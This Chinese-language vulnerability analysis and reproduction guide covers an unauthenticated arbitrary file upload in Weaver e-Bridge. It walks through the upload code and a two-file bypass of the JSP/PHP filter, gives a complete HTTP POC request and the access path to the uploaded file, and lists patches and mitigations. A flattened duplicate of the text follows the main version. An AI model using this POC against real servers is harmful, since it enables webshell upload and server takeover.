泛微云桥e-Bridge任意文件上传漏洞分析
字数 1409 2025-08-22 12:22:42

泛微云桥e-Bridge任意文件上传漏洞分析与复现指南

漏洞概述

泛微云桥e-Bridge接口/wxclient/app/recruit/resume/addResume存在未授权任意文件上传漏洞,攻击者可利用此漏洞在未授权情况下上传恶意文件,最终获取服务器权限。

环境搭建

下载安装包

  1. 官网下载安装包:

    https://wxdownload.e-cology.com.cn/ebridge/ebridge_install_win64_server2008R2_20200819.zip
    
  2. 解压后目录结构:

    • 包含基本的安装文件和配置

安装补丁

  1. 下载必要补丁:

    • JDK补丁:
      https://wxdownload.e-cology.com.cn/ebridge/jdk-8u172-windows-x64.zip
      
    • Web补丁:
      https://wxdownload.e-cology.com.cn/ebridge/ebridge_patch_20230724.zip
      
  2. 安装步骤:

    • 将补丁文件全覆盖tomcat目录
    • 替换JDK版本为下载的版本
    • 以管理员权限运行install64.batstart.bat
    • 访问http://127.0.0.1:8088/login

漏洞分析

漏洞定位

  1. 搜索路由/addResume,定位到关键代码文件:

    weaver/weixin/app/recruit/controller/ResumeController.java
    
  2. 代码逻辑:

    • 判断ContentType类型
    • 如果是文件上传类型,传入参数wxBaseFileServicefileElementId
    • 调用BaseController#getWxBaseFile方法上传文件

文件上传流程

  1. BaseController#getWxBaseFile方法:

    • 未传入filePath参数
    • 调用FileUploadTools.getRandomFilePath()获取路径
  2. FileUploadTools.getRandomFilePath()方法:

    • 调用initFilePath方法
    • 接受可选的前缀路径参数prePath
    • 如果prePath为null或空,使用默认前缀
    • 调用getUpEng生成随机路径
  3. getUpEng方法:

    public static String getUpEng() {
        Random r = new Random();
        char c = (char)(r.nextInt(26) + 65);
        char b = (char)(r.nextInt(26) + 65);
        return String.valueOf(c) + String.valueOf(b);
    }
    
  4. 文件处理:

    • 获取文件大小和编码
    • 调用Jfinal的Controller#getFile方法
    • 调用getFiles方法
    • 通过MultipartRequest#wrapMultipartRequest处理上传请求和保存路径

关键上传逻辑

  1. MultipartRequest#wrapMultipartRequest方法:

    • 判断并创建文件路径文件夹
    • 获取文件名
    • 调用com.oreilly.servlet.MultipartRequest保存文件
    • 判断文件保存路径和文件名
  2. com.oreilly.servlet.MultipartRequest核心逻辑:

    public MultipartRequest(HttpServletRequest request, String saveDirectory, 
                           int maxPostSize, String encoding, FileRenamePolicy policy) 
                           throws IOException {
        // 省略部分代码
        MultipartParser parser = new MultipartParser(request, maxPostSize, true, true, encoding);
        Part part;
        while ((part = parser.readNextPart()) != null) {
            String name = part.getName();
            if (name == null) {
                throw new IOException("Malformed input: parameter name missing (known Opera 7 bug)");
            }
            else if (part.isFile()) {
                FilePart filePart = (FilePart) part;
                String fileName = filePart.getFileName();
                if (fileName != null) {
                    filePart.setRenamePolicy(policy);
                    filePart.writeTo(dir);
                    files.put(name, new UploadedFile(dir.toString(), 
                            filePart.getFileName(), fileName, filePart.getContentType()));
                } else {
                    files.put(name, new UploadedFile(null, null, null, null));
                }
            }
        }
    }
    

安全过滤机制

  1. isSafeFile方法:

    • 检查文件名是否为jsp或php等危险扩展名
    • 如果是则删除文件
    • 上传完成后再对有问题的文件做删除
  2. 绕过方法:

    • 通过双文件上传绕过安全检测
    • 第一个文件被检测删除后,第二个文件仍可保留

漏洞复现

POC

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 361
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="1111.jsp"
<%out.print("11111"
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="2222.jsp"
<%out.print("2222"
------WebKitFormBoundaryD5Mawpg068t7pbxZ--

访问上传文件

成功上传后,访问:

http://127.0.0.1:8088/upload/202408/PX/1111.js%70

注意:路径中的PX是由getUpEng()生成的随机字母组合,实际使用时需要根据情况调整。

修复方案

  1. 官方补丁:

    https://wxdownload.e-cology.com.cn/ebridge/ebridge_patch_20231116.zip
    
  2. 补丁内容:

    • 直接删除了存在漏洞的代码部分
    • 实现了更严格的文件上传验证机制
  3. 临时缓解措施:

    • 限制/wxclient/app/recruit/resume/addResume接口的访问权限
    • 在Web应用防火墙中添加对恶意文件上传的检测规则

总结

该漏洞源于泛微云桥e-Bridge系统对文件上传功能的安全检测不足,特别是在处理多文件上传时的逻辑缺陷。攻击者可以利用此漏洞上传Webshell,进而获取服务器控制权限。建议所有使用该系统的用户立即升级到最新补丁版本。

泛微云桥e-Bridge任意文件上传漏洞分析与复现指南 漏洞概述 泛微云桥e-Bridge接口 /wxclient/app/recruit/resume/addResume 存在未授权任意文件上传漏洞,攻击者可利用此漏洞在未授权情况下上传恶意文件,最终获取服务器权限。 环境搭建 下载安装包 官网下载安装包: 解压后目录结构: 包含基本的安装文件和配置 安装补丁 下载必要补丁: JDK补丁: Web补丁: 安装步骤: 将补丁文件全覆盖tomcat目录 替换JDK版本为下载的版本 以管理员权限运行 install64.bat 和 start.bat 访问 http://127.0.0.1:8088/login 漏洞分析 漏洞定位 搜索路由 /addResume ,定位到关键代码文件: 代码逻辑: 判断ContentType类型 如果是文件上传类型,传入参数 wxBaseFileService 和 fileElementId 调用 BaseController#getWxBaseFile 方法上传文件 文件上传流程 BaseController#getWxBaseFile 方法: 未传入 filePath 参数 调用 FileUploadTools.getRandomFilePath() 获取路径 FileUploadTools.getRandomFilePath() 方法: 调用 initFilePath 方法 接受可选的前缀路径参数 prePath 如果 prePath 为null或空,使用默认前缀 调用 getUpEng 生成随机路径 getUpEng 方法: 文件处理: 获取文件大小和编码 调用Jfinal的 Controller#getFile 方法 调用 getFiles 方法 通过 MultipartRequest#wrapMultipartRequest 处理上传请求和保存路径 关键上传逻辑 MultipartRequest#wrapMultipartRequest 方法: 判断并创建文件路径文件夹 获取文件名 调用 com.oreilly.servlet.MultipartRequest 保存文件 判断文件保存路径和文件名 com.oreilly.servlet.MultipartRequest 核心逻辑: 安全过滤机制 isSafeFile 方法: 检查文件名是否为jsp或php等危险扩展名 如果是则删除文件 上传完成后再对有问题的文件做删除 绕过方法: 通过双文件上传绕过安全检测 第一个文件被检测删除后,第二个文件仍可保留 漏洞复现 POC 访问上传文件 成功上传后,访问: 注意:路径中的 PX 是由 getUpEng() 生成的随机字母组合,实际使用时需要根据情况调整。 修复方案 官方补丁: 补丁内容: 直接删除了存在漏洞的代码部分 实现了更严格的文件上传验证机制 临时缓解措施: 限制 /wxclient/app/recruit/resume/addResume 接口的访问权限 在Web应用防火墙中添加对恶意文件上传的检测规则 总结 该漏洞源于泛微云桥e-Bridge系统对文件上传功能的安全检测不足,特别是在处理多文件上传时的逻辑缺陷。攻击者可以利用此漏洞上传Webshell,进而获取服务器控制权限。建议所有使用该系统的用户立即升级到最新补丁版本。